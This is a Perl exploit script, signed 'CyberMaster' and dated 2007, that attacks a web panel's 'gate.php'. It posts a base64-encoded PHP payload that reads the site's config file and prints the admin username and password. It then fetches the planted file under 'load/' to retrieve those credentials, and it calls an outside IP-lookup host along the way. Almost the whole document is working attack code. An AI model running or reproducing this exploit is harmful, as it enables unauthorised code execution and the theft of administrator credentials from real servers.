#!/usr/bin/perl   
## CyberMaster 6.08.2007   
## ICQ: 910019   

use LWP::UserAgent;   

my $ua = LWP::UserAgent->new;   
$ua->agent("CyberMaster");   

$evil_code = "PD8NCmluY2x1ZGUoJy4uL2NvbmZpZy5waHAnKTsNCmVjaG8gJGNvbmZpZ1sn
YWRtaW5fbmFtZSddLic6Jy4kY29uZmlnWydhZG1pbl9wYXNzJ107DQo/Pg==";   
$IcePath = $ARGV[0];   

sub myIP{   
      my $response = $ua->get('http://ipget.totalh.com/');   
       if ($response->is_success) {   
           return $response->content;   
       }   
       else {   
                   return 0;   
           die $response->status_line;   
       }   
}   

sub explot{   
      my $req = HTTP::Request->new(POST => $IcePath."gate.php");   
    $req->content_type('application/x-www-form-urlencoded');   
    $req->content("a=aaa&b=bbb&c=$evil_code");   
    my $res = $ua->request($req);   
}   

sub getPass{   
      $ip = myIP();   
      explot();   
      my $response = $ua->get($IcePath."load/".$ip.".php");   
       if ($response->is_success) {   
           return $response->content;   
       }   
       else {   
           return "Error?!";   
       }   
}   

$resut = getPass();   
print "Admin username and password:\n$resut";